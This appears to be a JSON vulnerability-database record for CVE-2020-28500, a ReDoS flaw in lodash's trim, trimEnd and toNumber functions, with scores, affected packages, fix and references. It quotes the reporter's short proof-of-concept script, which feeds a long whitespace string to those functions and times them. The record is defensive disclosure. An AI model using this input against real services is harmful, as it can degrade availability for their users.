{"id":"CVE-2020-28500","aliases":["GHSA-29mw-wpgm-hmr9"],"url":"https://o3.security/vulnerability/CVE-2020-28500","summary":"Regular Expression Denial of Service (ReDoS) in lodash","details":"All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. \n\nSteps to reproduce (provided by reporter Liyuan Chen):\n```js\nvar lo = require('lodash');\n\nfunction build_blank(n) {\n    var ret = \"1\"\n    for (var i = 0; i < n; i++) {\n        ret += \" \"\n    }\n    return ret + \"1\";\n}\nvar s = build_blank(50000) var time0 = Date.now();\nlo.trim(s) \nvar time_cost0 = Date.now() - time0;\nconsole.log(\"time_cost0: \" + time_cost0);\nvar time1 = Date.now();\nlo.toNumber(s) var time_cost1 = Date.now() - time1;\nconsole.log(\"time_cost1: \" + time_cost1);\nvar time2 = Date.now();\nlo.trimEnd(s);\nvar time_cost2 = Date.now() - time2;\nconsole.log(\"time_cost2: \" + time_cost2);\n```","published":"2021-02-15T11:15:12.397Z","modified":"2026-10-22T02:47:30.910384497Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":{"score":0.07336,"percentile":0.94086,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":6,"affectedPackages":[{"ecosystem":"npm","name":"lodash","fixedVersion":"4.17.21"},{"ecosystem":"npm","name":"lodash-es","fixedVersion":"4.17.21"},{"ecosystem":"npm","name":"lodash.trimend","fixedVersion":null},{"ecosystem":"npm","name":"lodash.trim","fixedVersion":null},{"ecosystem":"RubyGems","name":"lodash-rails","fixedVersion":"4.17.21"}],"fix":{"url":"https://github.com/lodash/lodash/pull/5065","label":"lodash/lodash#5065"},"references":[{"type":"WEB","url":"https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8"},{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20210312-0006/"},{"type":"ADVISORY","url":"https://www.oracle.com//security-alerts/cpujul2021.html"},{"type":"FIX","url":"https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf"},{"type":"FIX","url":"https://github.com/lodash/lodash/pull/5065"},{"type":"FIX","url":"https://www.oracle.com/security-alerts/cpujan2022.html"},{"type":"FIX","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"FIX","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JS-LODASH-1018905"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28500"},{"type":"WEB","url":"https://github.com/github/advisory-database/pull/6139"},{"type":"WEB","url":"https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7"},{"type":"WEB","url":"https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20210312-0006"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml"},{"type":"PACKAGE","url":"https://github.com/lodash/lodash"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-22T02:47:30.910384497Z"}}